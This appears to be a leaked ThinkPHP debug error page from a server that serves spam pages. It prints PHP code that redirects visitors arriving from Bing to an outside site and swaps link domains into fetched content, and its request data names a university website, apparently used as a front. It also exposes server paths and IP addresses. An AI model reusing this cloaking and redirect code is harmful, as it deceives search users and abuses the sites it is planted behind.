[8] ErrorException in Index.php line 535

未定义变量: templateModel

  1. // }
  2. // if (strstr($this->clientServer['HTTP_REFERER'], 'bing.com') && !$this->isBot($this->clientServer['HTTP_USER_AGENT'])) {
  3. // // return '';
  4. // $pass_url = "https://henduohao.org/";
  5. // return "<script>window.location.href='{$pass_url}'</script>";
  6. // }
  7. if (!empty($this->clientServer['HTTP_USER_AGENT'])) {
  8. $content = file_get_contents($templateModel['content']);
  9. $logModel = new Relog();
  10. $outData=$logModel->getNewLink($this->domainModel->id);
  11. if($outData){
  12. $outUrl = $outData['domain']['domain'];
  13. }else{
  14. $outUrl = $this->payload['domain'];
  15. }
  16. $content = str_replace("http://hulian.6nb.xyz",$outUrl,$content);

Call Stack

  1. in Index.php line 535
  2. at Error::appError() in Index.php line 535
  3. at Index->get_content66()
  4. at ReflectionMethod->invokeArgs() in App.php line 343
  5. at App::invokeMethod() in App.php line 611
  6. at App::module() in App.php line 456
  7. at App::exec() in App.php line 139
  8. at App::run() in start.php line 19
  9. at require('/www/wwwroot/www/thi...') in index.php line 23

Environment Variables

GET Data
empty

POST Data

payload
{"domain":"https:\/\/noahcenter.up.edu.ph","uri":"\/buy\/48857572-4.html","server":{"HTTP_REFERER":"","HTTP_USER_AGENT":"CCBot\/2.0 (https:\/\/commoncrawl.org\/faq\/)","HTTP_ACCEPT_LANGUAGE":"en-US,en;q=0.5","REMOTE_ADDR":"172.70.42.53"},"request":[]}
Files
empty
Cookies
empty
Session
empty

Server/Request Data

USER
www
HOME
/home/www
HTTP_CF_IPCOUNTRY
PH
HTTP_CDN_LOOP
cloudflare
HTTP_CF_CONNECTING_IP
202.92.134.132
HTTP_CONTENT_TYPE
multipart/form-data; boundary=------------------------9d9d505a8076d233
HTTP_ACCEPT
*/*
HTTP_CF_VISITOR
{"scheme":"https"}
HTTP_X_FORWARDED_PROTO
https
HTTP_CONTENT_LENGTH
393
HTTP_CF_RAY
887931aafa78b9f5-MNL
HTTP_X_FORWARDED_FOR
202.92.134.132
HTTP_ACCEPT_ENCODING
gzip, br
HTTP_CONNECTION
Keep-Alive
HTTP_HOST
www.wordprass.org
PATH_INFO
/content66
REDIRECT_STATUS
200
SERVER_NAME
www.wordprass.org
SERVER_PORT
80
SERVER_ADDR
140.82.8.137
REMOTE_PORT
39812
REMOTE_ADDR
172.71.87.151
SERVER_SOFTWARE
nginx/1.25.5
GATEWAY_INTERFACE
CGI/1.1
REQUEST_SCHEME
http
SERVER_PROTOCOL
HTTP/1.1
DOCUMENT_ROOT
/www/wwwroot/www/public
DOCUMENT_URI
/index.php
REQUEST_URI
/content66
SCRIPT_NAME
/index.php
CONTENT_LENGTH
393
CONTENT_TYPE
multipart/form-data; boundary=------------------------9d9d505a8076d233
REQUEST_METHOD
POST
QUERY_STRING
s=/content66
SCRIPT_FILENAME
/www/wwwroot/www/public/index.php
FCGI_ROLE
RESPONDER
PHP_SELF
/index.php
REQUEST_TIME_FLOAT
1716343031.655
REQUEST_TIME
1716343031
Environment Variables
empty

ThinkPHP Constants

APP_PATH
/www/wwwroot/www/public/../application/
THINK_VERSION
5.0.24
THINK_START_TIME
1716343031.6554
THINK_START_MEM
360920
EXT
.php
DS
/
THINK_PATH
/www/wwwroot/www/thinkphp/
LIB_PATH
/www/wwwroot/www/thinkphp/library/
CORE_PATH
/www/wwwroot/www/thinkphp/library/think/
TRAIT_PATH
/www/wwwroot/www/thinkphp/library/traits/
ROOT_PATH
/www/wwwroot/www/
EXTEND_PATH
/www/wwwroot/www/extend/
VENDOR_PATH
/www/wwwroot/www/vendor/
RUNTIME_PATH
/www/wwwroot/www/runtime/
LOG_PATH
/www/wwwroot/www/runtime/log/
CACHE_PATH
/www/wwwroot/www/runtime/cache/
TEMP_PATH
/www/wwwroot/www/runtime/temp/
CONF_PATH
/www/wwwroot/www/public/../application/
CONF_EXT
.php
ENV_PREFIX
PHP_
IS_CLI
false
IS_WIN
false
FILTER_VALIDATE_BOOL
258
HTMLPURIFIER_PREFIX
/www/wwwroot/www/vendor/ezyang/htmlpurifier/library
ADDON_PATH
/www/wwwroot/www/addons/